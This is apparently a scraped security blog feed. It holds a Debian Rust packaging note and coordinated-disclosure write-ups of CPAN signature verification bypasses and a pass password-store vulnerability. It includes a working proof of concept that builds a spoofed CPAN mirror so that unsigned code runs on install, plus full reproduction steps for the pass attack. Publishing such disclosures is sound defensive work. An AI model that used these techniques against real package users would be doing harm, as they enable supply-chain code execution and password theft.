keeps the original part of the debian version number and bumps the
debian part, version <code class="language-plaintext highlighter-rouge">0.3.4-1</code> becomes <code class="language-plaintext highlighter-rouge">0.3.4-2</code>.</p>
<p>Normally this is an uncomplicated process, a new file is dropped into
the <code class="language-plaintext highlighter-rouge">patches</code> directory, it’s added to the end of the <code class="language-plaintext highlighter-rouge">series</code> file
in that directory, and then it’s shipped off to the build farm.</p>
<p>But there is a not very well documented gotcha in this process,
when the debian rust tooling produces an updated package it reuses the
original <code class="language-plaintext highlighter-rouge">.orig.tar.gz</code> file from the <code class="language-plaintext highlighter-rouge">-1</code> package. This means that
all changes that would alter the content of that file are ignored.</p>
<p>For example if you add a line like this to <code class="language-plaintext highlighter-rouge">debcargo.conf</code> in an <code class="language-plaintext highlighter-rouge">-2</code> update:</p>
<div class="language-toml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="py">excludes</span> <span class="p">=</span> <span class="p">[</span><span class="s">"examples/**"</span><span class="p">,</span> <span class="s">"benches/**"</span><span class="p">]</span>
</code></pre></div></div>
<p>That will not have any effect, until a new upstream release is made and that
gets packaged.</p>
<p>To summarize, be careful when adding new configuration that alters the original
source code package when you are fixing bugs.</p>
<p><img src="/images/fuzzy-growth-on-rusted-metal-disk-bottom.jpg" alt="rusted-metal-disk-bottom" /></p>capitolWhen packaging a rust crate for Debian, bug fixing is a part of the process. There is of course multiple sources of bugs, but a common one is that the crate doesn’t build on all architectures. The builds in Debian happens on a lot of different architectures, and normally you only have an x86_64 machine to test on before pushing a new version of a package. The full list of different architectures is: amd64 arm64 armel armhf i386 mips64el mipsel ppc64el s390x alpha arc hppa hurd-i386 ia64 kfreebsd-amd64 kfreebsd-i386 m68k powerpc ppc64 riscv64 sh4 sparc64 x32 But it’s not mandatory that the build succeeds on all of them, only the top 9 have Supported status and the rest are more of a nice-to-have. As an example I got this failure on riscv64 recently: failures: ---- src/xy.rs - xy::XY<bool>::both (line 502) stdout ---- malloc_consolidate(): unaligned fastbin chunk detected Couldn't compile the test. failures: src/xy.rs - xy::XY<bool>::both (line 502) What happens then is that I will investigate the error, try to produce a patch for it, and send that as a pull request to the upstream sources. If all is well and good the patch is accepted and included in the next release of that package. But releases are often infrequent and to stop the packaging effort of everything that depends on the package is too time consuming. Therefore we add the fix as a patch to the Debian package directly. This keeps the original part of the debian version number and bumps the debian part, version 0.3.4-1 becomes 0.3.4-2. Normally this is an uncomplicated process, a new file is dropped into the patches directory, it’s added to the end of the series file in that directory, and then it’s shipped off to the build farm. But there is a not very well documented gotcha in this process, when the debian rust tooling produces an updated package it reuses the original .orig.tar.gz file from the -1 package. This means that all changes that would alter the content of that file are ignored. For example if you add a line like this to debcargo.conf in an -2 update: excludes = ["examples/**", "benches/**"] That will not have any effect, until a new upstream release is made and that gets packaged. To summarize, be careful when adding new configuration that alters the original source code package when you are fixing bugs.Signature Verification Vulnerabilities in CPAN.pm, cpanminus and CPAN::Checksums2021-11-23T00:00:00+01:002021-11-23T00:00:00+01:00https://blog.hackeriet.no/cpan-signature-verification-vulnerabilities<p><a href="https://www.cpan.org/">CPAN</a> is a repository of over 200,000 modules for the
Perl programming language. <a href="https://pause.cpan.org/">PAUSE</a> is the “[Perl
programming] Authors Upload Server”.</p>
<p>To install Perl modules from CPAN, users can use the <code class="language-plaintext highlighter-rouge">cpan</code> client provided by
<a href="https://metacpan.org/dist/CPAN">CPAN.pm</a> included in the Perl core,
or the <code class="language-plaintext highlighter-rouge">cpanm</code> client provided by
<a href="https://metacpan.org/pod/App::cpanminus">cpanminus</a>.</p>
<p>Both clients have optional support for verifying that <code class="language-plaintext highlighter-rouge">CHECKSUMS</code> files have a
valid PAUSE PGP signature before checksums are checked and modules are installed.</p>
<p>It was found that <code class="language-plaintext highlighter-rouge">cpan</code> and <code class="language-plaintext highlighter-rouge">cpanm</code> are vulnerable to a signature verification
bypass. Additionally, <code class="language-plaintext highlighter-rouge">CPAN::Checksums</code> (used by PAUSE) does not uniquely
identify packages in the signed <code class="language-plaintext highlighter-rouge">CHECKSUMS</code> file, enabling a supply chain
attack.</p>
<ul>
<li>[CVE-2020-16154] App::cpanminus 1.7044 allows Signature Verification Bypass</li>
<li>[CVE-2020-16155] CPAN::Checksums 2.12 does not uniquely define signed data.</li>
<li>[CVE-2020-16156] CPAN 2.28 allows Signature Verification Bypass</li>
</ul>
<p>For more information see <a href="http://blogs.perl.org/users/neilb/2021/11/addressing-cpan-vulnerabilities-related-to-checksums.html">Addressing CPAN vulnerabilities related to checksums</a> by Neil Bowers.</p>
<h1 id="mitigation">Mitigation</h1>
<p>Users should ensure that their CPAN client is configured to use a trusted TLS
(https) protected mirror as signature verification can be bypassed, and signed
<code class="language-plaintext highlighter-rouge">CHECKSUMS</code> cannot be relied upon for security.</p>
<h1 id="signature-verification-bypass">Signature Verification Bypass</h1>
<p>[CVE-2020-16154, CVE-2020-16156]</p>
<p>An attacker can prepend checksums for modified packages to the beginning of
<code class="language-plaintext highlighter-rouge">CHECKSUMS</code> files, before the cleartext PGP headers. This makes the
<code class="language-plaintext highlighter-rouge">Module::Signature::_verify()</code> checks in both <code class="language-plaintext highlighter-rouge">cpan</code> and <code class="language-plaintext highlighter-rouge">cpanm</code> pass.</p>
<p>Without the <code class="language-plaintext highlighter-rouge">sigtext</code> and <code class="language-plaintext highlighter-rouge">plaintext</code> arguments to <code class="language-plaintext highlighter-rouge">_verify()</code>, the <code class="language-plaintext highlighter-rouge">_compare()</code>
check is bypassed. This results in <code class="language-plaintext highlighter-rouge">_verify()</code> only checking that valid signed
cleartext is present somewhere in the file.</p>
<h2 id="proof-of-concept">Proof of Concept</h2>
<p>First, <code class="language-plaintext highlighter-rouge">Module::Signature</code> needs to be installed. Then prepare a malicious CPAN
mirror containing a modified package.</p>
<p>In this example, we spoofed the popular <code class="language-plaintext highlighter-rouge">Mojolicious</code> package to illustrate:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> <span class="nt">-p</span> cpan/<span class="o">{</span>authors,modules<span class="o">}</span>
wget <span class="nt">-O</span> cpan/authors/01mailrc.txt.gz https://cpan.metacpan.org/authors/01mailrc.txt.gz
wget <span class="nt">-O</span> cpan/modules/02packages.details.txt.gz https://cpan.metacpan.org/modules/02packages.details.txt.gz
wget <span class="nt">-O</span> cpan/modules/03modlist.data.gz https://cpan.metacpan.org/modules/03modlist.data.gz
<span class="nb">mkdir</span> <span class="nt">-p</span> cpan/authors/id/S/SR/SRI
<span class="nb">pushd </span>cpan/authors/id/S/SR/SRI
wget <span class="nt">-O</span> CHECKSUMS_ORIG https://cpan.metacpan.org/authors/id/S/SR/SRI/CHECKSUMS
<span class="nv">module</span><span class="o">=</span>Mojolicious-8.56
<span class="nb">mkdir</span> <span class="nv">$module</span>
<span class="nb">echo</span> <span class="s1">'print "### INSERT MALICIOUS CODE HERE ###\n";'</span> <span class="o">></span> <span class="nv">$module</span>/Makefile.PL
<span class="nb">tar </span>czf <span class="nv">$module</span>.tar.gz <span class="nv">$module</span>
<span class="nv">sha256</span><span class="o">=</span><span class="si">$(</span><span class="nb">sha256sum</span> <span class="nv">$module</span>.tar.gz | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">' '</span> <span class="nt">-f1</span><span class="si">)</span>
<span class="o">(</span><span class="nb">echo</span> <span class="nt">-en</span> <span class="s2">"</span><span class="se">\$</span><span class="s2">chksum = { '</span><span class="nv">$module</span><span class="s2">.tar.gz' => { sha256 => '</span><span class="nv">$sha256</span><span class="s2">'} };</span><span class="se">\n</span><span class="s2">__END__</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> <span class="nb">cat </span>CHECKSUMS_ORIG<span class="o">)</span> <span class="o">></span> CHECKSUMS
<span class="nb">popd
cd </span>cpan
<span class="c"># Then serve the repo locally on port 8000</span>
busybox httpd <span class="nt">-f</span> <span class="nt">-p</span> 8000
</code></pre></div></div>
<h3 id="cpanpm">CPAN.pm</h3>
<p>Prepare environment:</p>
<ul>
<li>Install the required signature checker extension</li>
<li>Add http://localhost:8000 to your <code class="language-plaintext highlighter-rouge">urllist</code></li>
<li>enable <code class="language-plaintext highlighter-rouge">check_sigs</code>.</li>
</ul>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>cpan Module::Signature
<span class="nv">$ </span><span class="nb">cat</span> <span class="o"><<</span><span class="no">EOF</span><span class="sh"> |cpan
o conf check_sigs 1
o conf urllist unshift http://localhost:8000
o conf commit
</span><span class="no">EOF
</span></code></pre></div></div>
<p>Demonstrate unsigned code execution:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>cpan SRI/Mojolicious-8.56.tar.gz
<span class="o">[</span>..]
Signature <span class="k">for</span> /home/user/.cpan/sources/authors/id/S/SR/SRI/CHECKSUMS ok
Checksum <span class="k">for</span> /home/user/.cpan/sources/authors/id/S/SR/SRI/Mojolicious-8.56.tar.gz ok
<span class="o">[</span>..]
Configuring S/SR/SRI/Mojolicious-8.56.tar.gz with Makefile.PL
<span class="c">### INSERT MALICIOUS CODE HERE ###</span>
No <span class="s1">'Makefile'</span> created SRI/Mojolicious-8.56.tar.gz
/nix/store/kfrlhcjp3hp7vs83y701xzd542k8sm7k-perl-5.30.3/bin/perl Makefile.PL <span class="nt">--</span> NOT OK
</code></pre></div></div>
<h3 id="appcpanminus">App::cpanminus</h3>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>cpanm <span class="nt">--local-lib</span><span class="o">=</span><span class="si">$(</span><span class="nb">mktemp</span> <span class="nt">-d</span><span class="si">)</span> <span class="nt">-v</span> <span class="nt">--verify</span> <span class="nt">--mirror</span> http://localhost:8000/ Mojolicious@8.56
<span class="o">[</span>..]
Verifying the signature of CHECKSUMS
Verified OK!
Verifying the SHA1 <span class="k">for </span>Mojolicious-8.56.tar.gz
Checksum <span class="k">for </span>Mojolicious-8.56.tar.gz: Verified!
Unpacking Mojolicious-8.56.tar.gz
<span class="o">[</span>..]
Running Makefile.PL
Configuring Mojolicious-8.56 ... <span class="c">### INSERT MALICIOUS CODE HERE ###</span>
N/A
<span class="o">!</span> Configure failed <span class="k">for </span>Mojolicious-8.56. See /home/user/.cpanm/work/1596121570.28866/build.log <span class="k">for </span>details.
</code></pre></div></div>
<h1 id="cpanchecksums-does-not-uniquely-define-signed-data">CPAN::Checksums does not uniquely define signed data</h1>
<p>[CVE-2020-16155]</p>
<p><code class="language-plaintext highlighter-rouge">CPAN::Checksums</code> generates <code class="language-plaintext highlighter-rouge">CHECKSUMS</code> recursively for each directory under the
<code class="language-plaintext highlighter-rouge">author/</code> directory structure, and the file path for the packages in the
manifest doesn’t contain an author handle (filenames are only unique per
author).</p>
<p>An attacker with PAUSE access can trick PAUSE into generating a valid
<code class="language-plaintext highlighter-rouge">CHECKSUMS</code> file for another authors package, allowing a malicious mirror or
network attacker to serve a modified package to a target along with a valid but
malicious <code class="language-plaintext highlighter-rouge">CHECKSUMS</code> file.</p>
<h2 id="proof-of-concept-1">Proof of Concept</h2>
<p>A <code class="language-plaintext highlighter-rouge">CHECKSUMS</code> file impersonating the already published package
<code class="language-plaintext highlighter-rouge">Acme::Study::Perl 0.0.1</code> has been generated on <code class="language-plaintext highlighter-rouge">pause.cpan.org</code> and signed by
the PAUSE PGP key.</p>
<div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">0</span><span class="o">&&<<</span><span class="p">'';</span> <span class="c1"># this PGP-signed message is also valid perl</span>
<span class="o">-----</span><span class="k">BEGIN</span> <span class="nv">PGP</span> <span class="nv">SIGNED</span> <span class="nv">MESSAGE</span><span class="o">-----</span>
<span class="nv">Hash:</span> <span class="nv">SHA1</span>
<span class="c1"># CHECKSUMS file written on Fri Jul 24 15:59:10 2020 GMT by CPAN::Checksums (v2.12)</span>
<span class="nv">$cksum</span> <span class="o">=</span> <span class="p">{</span>
<span class="p">'</span><span class="s1">Acme-Study-Perl-0.0.1.tar.gz</span><span class="p">'</span> <span class="o">=></span> <span class="p">{</span>
<span class="p">'</span><span class="s1">md5</span><span class="p">'</span> <span class="o">=></span> <span class="p">'</span><span class="s1">d474ea9bf1861d696f05fbfc9e845f77</span><span class="p">',</span>
<span class="p">'</span><span class="s1">md5-ungz</span><span class="p">'</span> <span class="o">=></span> <span class="p">'</span><span class="s1">9614de46e57904130b6f75c0fe8fdd22</span><span class="p">',</span>
<span class="p">'</span><span class="s1">mtime</span><span class="p">'</span> <span class="o">=></span> <span class="p">'</span><span class="s1">2020-07-24</span><span class="p">',</span>
<span class="p">'</span><span class="s1">sha256</span><span class="p">'</span> <span class="o">=></span> <span class="p">'</span><span class="s1">f239031b672604dafe456909ba3121f0c002e135bbc394fafd072397ecfadc99</span><span class="p">',</span>
<span class="p">'</span><span class="s1">sha256-ungz</span><span class="p">'</span> <span class="o">=></span> <span class="p">'</span><span class="s1">cef212349a6beb0622193e22d92a21dc9dd7bb2f6d7f79ac0d863188efef0282</span><span class="p">',</span>
<span class="p">'</span><span class="s1">size</span><span class="p">'</span> <span class="o">=></span> <span class="mi">211</span>
<span class="p">},</span>
<span class="p">'</span><span class="s1">test.txt</span><span class="p">'</span> <span class="o">=></span> <span class="p">{</span>
<span class="p">'</span><span class="s1">md5</span><span class="p">'</span> <span class="o">=></span> <span class="p">'</span><span class="s1">5150d35ce48639c7c78cffe84891faab</span><span class="p">',</span>
<span class="p">'</span><span class="s1">mtime</span><span class="p">'</span> <span class="o">=></span> <span class="p">'</span><span class="s1">2020-07-24</span><span class="p">',</span>
<span class="p">'</span><span class="s1">sha256</span><span class="p">'</span> <span class="o">=></span> <span class="p">'</span><span class="s1">5d0d196ae349adf45246252d303885db3adfa723139ad5147fe7a767ded1f5b4</span><span class="p">',</span>
<span class="p">'</span><span class="s1">size</span><span class="p">'</span> <span class="o">=></span> <span class="mi">51</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="cp">__END__
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.14 (GNU/Linux)
iEYEARECAAYFAl8bBU4ACgkQMo2oZ0UPiewySQCfd00WKH3QfVO/GjcYvDosimBs
44AAoJZGxbOludHf6JYItrNOSBq1BHVA
=6gsJ
-----END PGP SIGNATURE-----
</span></code></pre></div></div>
<h1 id="timeline">Timeline</h1>
<ul>
<li>2020-07-08: The Perl Security team was notified</li>
<li>2020-07-15: The module authors were notified</li>
<li>2020-07-30: CVE numbers assigned</li>
<li>2021-11-18: Publication agreed for 23 nov</li>
<li>2021-11-23: Coordinated disclosure</li>
</ul>
<h1 id="references">References</h1>
<ul>
<li><a href="http://blogs.perl.org/users/neilb/2021/11/addressing-cpan-vulnerabilities-related-to-checksums.html">http://blogs.perl.org/users/neilb/2021/11/addressing-cpan-vulnerabilities-related-to-checksums.html</a></li>
<li><a href="https://github.com/andk/cpan-checksums">https://github.com/andk/cpan-checksums</a></li>
<li><a href="https://github.com/andk/cpanpm/blob/ac0963601fe22c3a0b6cc9a8f0d51da5fd6e41ef/lib/CPAN/Distribution.pm#L1474">https://github.com/andk/cpanpm/blob/ac0963601fe22c3a0b6cc9a8f0d51da5fd6e41ef/lib/CPAN/Distribution.pm#L1474</a></li>
<li><a href="https://github.com/miyagawa/cpanminus/blob/7b574ede70cebce3709743ec1727f90d745e8580/Menlo-Legacy/lib/Menlo/CLI/Compat.pm#L1491">https://github.com/miyagawa/cpanminus/blob/7b574ede70cebce3709743ec1727f90d745e8580/Menlo-Legacy/lib/Menlo/CLI/Compat.pm#L1491</a></li>
</ul>
<h1 id="acknowledgements">Acknowledgements</h1>
<p>Thanks to Andreas König, Neil Bowers, Hamish Coleman, Alexander Kjäll and Salve J. Nilsen.</p>
<p>Authored by Stig Palmquist</p>sgoCPAN is a repository of over 200,000 modules for the Perl programming language. PAUSE is the “[Perl programming] Authors Upload Server”. To install Perl modules from CPAN, users can use the cpan client provided by CPAN.pm included in the Perl core, or the cpanm client provided by cpanminus. Both clients have optional support for verifying that CHECKSUMS files have a valid PAUSE PGP signature before checksums are checked and modules are installed. It was found that cpan and cpanm are vulnerable to a signature verification bypass. Additionally, CPAN::Checksums (used by PAUSE) does not uniquely identify packages in the signed CHECKSUMS file, enabling a supply chain attack. [CVE-2020-16154] App::cpanminus 1.7044 allows Signature Verification Bypass [CVE-2020-16155] CPAN::Checksums 2.12 does not uniquely define signed data. [CVE-2020-16156] CPAN 2.28 allows Signature Verification Bypass For more information see Addressing CPAN vulnerabilities related to checksums by Neil Bowers. Mitigation Users should ensure that their CPAN client is configured to use a trusted TLS (https) protected mirror as signature verification can be bypassed, and signed CHECKSUMS cannot be relied upon for security. Signature Verification Bypass [CVE-2020-16154, CVE-2020-16156] An attacker can prepend checksums for modified packages to the beginning of CHECKSUMS files, before the cleartext PGP headers. This makes the Module::Signature::_verify() checks in both cpan and cpanm pass. Without the sigtext and plaintext arguments to _verify(), the _compare() check is bypassed. This results in _verify() only checking that valid signed cleartext is present somewhere in the file. Proof of Concept First, Module::Signature needs to be installed. Then prepare a malicious CPAN mirror containing a modified package. In this example, we spoofed the popular Mojolicious package to illustrate: mkdir -p cpan/{authors,modules} wget -O cpan/authors/01mailrc.txt.gz https://cpan.metacpan.org/authors/01mailrc.txt.gz wget -O cpan/modules/02packages.details.txt.gz https://cpan.metacpan.org/modules/02packages.details.txt.gz wget -O cpan/modules/03modlist.data.gz https://cpan.metacpan.org/modules/03modlist.data.gz mkdir -p cpan/authors/id/S/SR/SRI pushd cpan/authors/id/S/SR/SRI wget -O CHECKSUMS_ORIG https://cpan.metacpan.org/authors/id/S/SR/SRI/CHECKSUMS module=Mojolicious-8.56 mkdir $module echo 'print "### INSERT MALICIOUS CODE HERE ###\n";' > $module/Makefile.PL tar czf $module.tar.gz $module sha256=$(sha256sum $module.tar.gz | cut -d' ' -f1) (echo -en "\$chksum = { '$module.tar.gz' => { sha256 => '$sha256'} };\n__END__\n"; cat CHECKSUMS_ORIG) > CHECKSUMS popd cd cpan # Then serve the repo locally on port 8000 busybox httpd -f -p 8000 CPAN.pm Prepare environment: Install the required signature checker extension Add http://localhost:8000 to your urllist enable check_sigs. $ cpan Module::Signature $ cat <<EOF |cpan o conf check_sigs 1 o conf urllist unshift http://localhost:8000 o conf commit EOF Demonstrate unsigned code execution: $ cpan SRI/Mojolicious-8.56.tar.gz [..] Signature for /home/user/.cpan/sources/authors/id/S/SR/SRI/CHECKSUMS ok Checksum for /home/user/.cpan/sources/authors/id/S/SR/SRI/Mojolicious-8.56.tar.gz ok [..] Configuring S/SR/SRI/Mojolicious-8.56.tar.gz with Makefile.PL ### INSERT MALICIOUS CODE HERE ### No 'Makefile' created SRI/Mojolicious-8.56.tar.gz /nix/store/kfrlhcjp3hp7vs83y701xzd542k8sm7k-perl-5.30.3/bin/perl Makefile.PL -- NOT OK App::cpanminus $ cpanm --local-lib=$(mktemp -d) -v --verify --mirror http://localhost:8000/ Mojolicious@8.56 [..] Verifying the signature of CHECKSUMS Verified OK! Verifying the SHA1 for Mojolicious-8.56.tar.gz Checksum for Mojolicious-8.56.tar.gz: Verified! Unpacking Mojolicious-8.56.tar.gz [..] Running Makefile.PL Configuring Mojolicious-8.56 ... ### INSERT MALICIOUS CODE HERE ### N/A ! Configure failed for Mojolicious-8.56. See /home/user/.cpanm/work/1596121570.28866/build.log for details. CPAN::Checksums does not uniquely define signed data [CVE-2020-16155] CPAN::Checksums generates CHECKSUMS recursively for each directory under the author/ directory structure, and the file path for the packages in the manifest doesn’t contain an author handle (filenames are only unique per author). An attacker with PAUSE access can trick PAUSE into generating a valid CHECKSUMS file for another authors package, allowing a malicious mirror or network attacker to serve a modified package to a target along with a valid but malicious CHECKSUMS file. Proof of Concept A CHECKSUMS file impersonating the already published package Acme::Study::Perl 0.0.1 has been generated on pause.cpan.org and signed by the PAUSE PGP key. 0&&<<''; # this PGP-signed message is also valid perl -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 # CHECKSUMS file written on Fri Jul 24 15:59:10 2020 GMT by CPAN::Checksums (v2.12) $cksum = { 'Acme-Study-Perl-0.0.1.tar.gz' => { 'md5' => 'd474ea9bf1861d696f05fbfc9e845f77', 'md5-ungz' => '9614de46e57904130b6f75c0fe8fdd22', 'mtime' => '2020-07-24', 'sha256' => 'f239031b672604dafe456909ba3121f0c002e135bbc394fafd072397ecfadc99', 'sha256-ungz' => 'cef212349a6beb0622193e22d92a21dc9dd7bb2f6d7f79ac0d863188efef0282', 'size' => 211 }, 'test.txt' => { 'md5' => '5150d35ce48639c7c78cffe84891faab', 'mtime' => '2020-07-24', 'sha256' => '5d0d196ae349adf45246252d303885db3adfa723139ad5147fe7a767ded1f5b4', 'size' => 51 } }; __END__ -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.14 (GNU/Linux) iEYEARECAAYFAl8bBU4ACgkQMo2oZ0UPiewySQCfd00WKH3QfVO/GjcYvDosimBs 44AAoJZGxbOludHf6JYItrNOSBq1BHVA =6gsJ -----END PGP SIGNATURE----- Timeline 2020-07-08: The Perl Security team was notified 2020-07-15: The module authors were notified 2020-07-30: CVE numbers assigned 2021-11-18: Publication agreed for 23 nov 2021-11-23: Coordinated disclosure References http://blogs.perl.org/users/neilb/2021/11/addressing-cpan-vulnerabilities-related-to-checksums.html https://github.com/andk/cpan-checksums https://github.com/andk/cpanpm/blob/ac0963601fe22c3a0b6cc9a8f0d51da5fd6e41ef/lib/CPAN/Distribution.pm#L1474 https://github.com/miyagawa/cpanminus/blob/7b574ede70cebce3709743ec1727f90d745e8580/Menlo-Legacy/lib/Menlo/CLI/Compat.pm#L1491 Acknowledgements Thanks to Andreas König, Neil Bowers, Hamish Coleman, Alexander Kjäll and Salve J. Nilsen. Authored by Stig PalmquistCVE-2020-28086 information leakage through third party service in pass2021-09-18T00:00:00+02:002021-09-18T00:00:00+02:00https://blog.hackeriet.no/filename-rename-in-pass<p><img src="/images/pass-passwordstore.png" alt="pass-passwordstore" /></p>
<p><a href="https://www.passwordstore.org/"><code class="language-plaintext highlighter-rouge">pass</code></a> is a password manager that encrypts your or your
team’s passwords with GPG and optionally stores them in a Git repository.</p>
<p>Each password is encrypted in its own file, often named after the service and username.
For example the password for the user <code class="language-plaintext highlighter-rouge">richard</code> on the service Spotify might be named
<code class="language-plaintext highlighter-rouge">spotify/richard.gpg</code>.</p>
<h2 id="trust-boundaries">Trust Boundaries</h2>
<p>It’s possible to configure your usage of <code class="language-plaintext highlighter-rouge">pass</code> in many ways, but if you are using it in a team then
this is a common setup:</p>
<p>Each member has a local machine with a GPG configuration that trusts all other members of the team.</p>
<p>The password store is in Git, and there is a central server to which all team members push and pull.</p>
<p>Here we have three zones:</p>
<ul>
<li>Your own machine</li>
<li>The central server</li>
<li>The other team members</li>
</ul>
<p>Any operator in one of the zones shouldn’t be able to cross a zone barrier and gain
information or resources from another zone.</p>
<h2 id="the-attack">The Attack</h2>
<p>If an attacker controls the following:</p>
<ul>
<li>The central Git server or one of the other members’ machines</li>
<li>One of the services that have a password already in the password store</li>
</ul>
<p>Then they can do the following:</p>
<p>Rename one of the password files in the Git repository to the password file of the controlled service.</p>
<p><code class="language-plaintext highlighter-rouge">pass</code> doesn’t correctly verify that the content of file matches the filename, so a user
might be tricked to decrypting the wrong password and send that to a service that the
attacker controls.</p>
<h2 id="example">Example</h2>
<p>Given this setup:</p>
<ul>
<li>A user Bob with a local installation of <code class="language-plaintext highlighter-rouge">pass</code></li>
<li>A git server where the passwords are stored</li>
<li>One password to <code class="language-plaintext highlighter-rouge">bob@server1.example.com</code></li>
<li>One password to <code class="language-plaintext highlighter-rouge">bob@server2.example.com</code></li>
<li>An attacker called Mallory</li>
</ul>
<p>If Mallory takes control over the central Git server and <code class="language-plaintext highlighter-rouge">server2.example.com</code> then he could
rename the file named <code class="language-plaintext highlighter-rouge">bob@server1.example.com.gpg</code> to <code class="language-plaintext highlighter-rouge">bob@server2.example.com</code> and commit it.</p>
<p>The next time that Bob then does a git pull and accesses <code class="language-plaintext highlighter-rouge">server2.example.com</code> his password to
<code class="language-plaintext highlighter-rouge">server1.example.com</code> will be exposed.</p>
<h2 id="possible-mitigations">Possible Mitigations</h2>
<p>GPG supports storing the filename in the encryption packet. This can be set with the
<code class="language-plaintext highlighter-rouge">--set-filename</code> flag when storing a password and needs to be verified by the <code class="language-plaintext highlighter-rouge">pass</code> software before
decryption happens.</p>
<p>But the filename field in GPG have a couple of problems. It’s limited to 255 bytes and the
specification doesn’t specify what encoding that should be used. This might make it vulnerable
to further attacks due to encoding confusion.</p>
<p>Another solution would be to use a <a href="https://docs.sequoia-pgp.org/sequoia_openpgp/packet/signature/subpacket/struct.NotationData.html">signature notation</a>
packet in GPG. It has a length of up to 64 KB. It can also be set on the <code class="language-plaintext highlighter-rouge">gpg</code> command line:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>echo 1 |
gpg -se --sig-notation \!filename@pass=/path/to/file.gpg -r alexander.kjall@gmail.com |
gpg -d --verify-options show-notations --known-notation \!filename@pass
</code></pre></div></div>
<h3 id="patches">Patches</h3>
<p>A crude attempt at writing a patch for this vulnerability is in these two patches,
<a href="/assets/0001-Sign-and-anotate-commits-with-a-filename-passwordsto.patch">adding signature</a>
and <a href="/assets/0002-When-decrypting-a-password-file-first-verify-that-th.patch">verify signature</a>.</p>
<p>The patches tries to mitigate the vulnerability by applying a signature notation, but they don’t
include any migration strategy for existing password stores.</p>
<h2 id="reproduction-steps">Reproduction Steps</h2>
<p>Here is a log of the steps to reproduce the vulnerability:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>capitol@tool:/tmp$ PASSWORD_STORE_DIR=/tmp/store1 pass init 0x1D108E6C07CBC406
Password store initialized for 0x1D108E6C07CBC406
capitol@tool:/tmp$ cd store1/
capitol@tool:/tmp/store1$ git init
Initialized empty Git repository in /tmp/store1/.git/
capitol@tool:/tmp/store1$ cd ..
capitol@tool:/tmp$ PASSWORD_STORE_DIR=/tmp/store1 pass generate bob@server1.example.com
[master (root-commit) 208e574] Add generated password for bob@server1.example.com.
1 file changed, 1 insertion(+)
create mode 100644 bob@server1.example.com.gpg
The generated password for bob@server1.example.com is:
7A\ZOg(|`L.G0{Dce^a~SPiC~
capitol@tool:/tmp$ PASSWORD_STORE_DIR=/tmp/store1 pass generate bob@server2.example.com
[master 4e43e37] Add generated password for bob@server2.example.com.
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 bob@server2.example.com.gpg
The generated password for bob@server2.example.com is:
"}zC}4d[wD%N$<7D@WO@2QA-f
capitol@tool:/tmp$ cd store1/
capitol@tool:/tmp/store1$ git add .gpg-id
capitol@tool:/tmp/store1$ git commit -m ".gpg-id"
[master 29e4c37] .gpg-id
1 file changed, 1 insertion(+)
create mode 100644 .gpg-id
capitol@tool:/tmp/store1$ cd /tmp/server/
capitol@tool:/tmp/server$ git init --bare
Initialized empty Git repository in /tmp/server/
capitol@tool:/tmp/server$ cd /tmp/store1/
capitol@tool:/tmp/store1$ git push --set-upstream /tmp/server/ master
Enumerating objects: 9, done.
Counting objects: 100% (9/9), done.
Delta compression using up to 4 threads
Compressing objects: 100% (8/8), done.
Writing objects: 100% (9/9), 1.56 KiB | 798.00 KiB/s, done.
Total 9 (delta 2), reused 0 (delta 0)
To /tmp/server/
* [new branch] master -> master
Branch 'master' set up to track remote branch 'master' from '/tmp/server/'.
capitol@tool:/tmp/store1$ cd ..
capitol@tool:/tmp$ git clone /tmp/server/ store2
Cloning into 'store2'...
done.
capitol@tool:/tmp$ cd store2/
capitol@tool:/tmp/store2$ cp bob@server1.example.com.gpg bob@server2.example.com.gpg
capitol@tool:/tmp/store2$ git add .
capitol@tool:/tmp/store2$ git commit -m "this is the attack"
[master d239dd5] this is the attack
1 file changed, 0 insertions(+), 0 deletions(-)
capitol@tool:/tmp/store2$ git push
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 4 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (2/2), 406 bytes | 406.00 KiB/s, done.
Total 2 (delta 1), reused 0 (delta 0)
To /tmp/server/
29e4c37..d239dd5 master -> master
capitol@tool:/tmp/store2$ cd /tmp/store1/
capitol@tool:/tmp/store1$ git pull
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 2 (delta 1), reused 0 (delta 0)
Unpacking objects: 100% (2/2), 386 bytes | 386.00 KiB/s, done.
From /tmp/server
* branch master -> FETCH_HEAD
Updating 29e4c37..d239dd5
Fast-forward
bob@server2.example.com.gpg | Bin 173 -> 173 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
capitol@tool:/tmp/store1$ PASSWORD_STORE_DIR=/tmp/store1 pass show bob@server2.example.com
7A\ZOg(|`L.G0{Dce^a~SPiC~
</code></pre></div></div>
<p>The password that is shown on the last line is the password associated with <code class="language-plaintext highlighter-rouge">bob@server1.example.com</code>.</p>
<h2 id="timeline">Timeline</h2>
<ul>
<li>2020-10-22 Email sent to main developer of pass</li>
<li>2020-10-24 CVE requested</li>
<li>2020-10-24 Email sent to main developer of <a href="https://qtpass.org/">QtPass</a></li>
<li>2020-10-24 Email sent to main developer of <a href="https://www.gopass.pw/">gopass</a>, the attack is outside of
<code class="language-plaintext highlighter-rouge">gopass</code> stated security policy.</li>
<li>2020-10-24 Email sent to main developer of <a href="https://github.com/Kwpolska/upass">upass</a>, upass
calls out to pass in a subshell and is therefore not directly affected.</li>
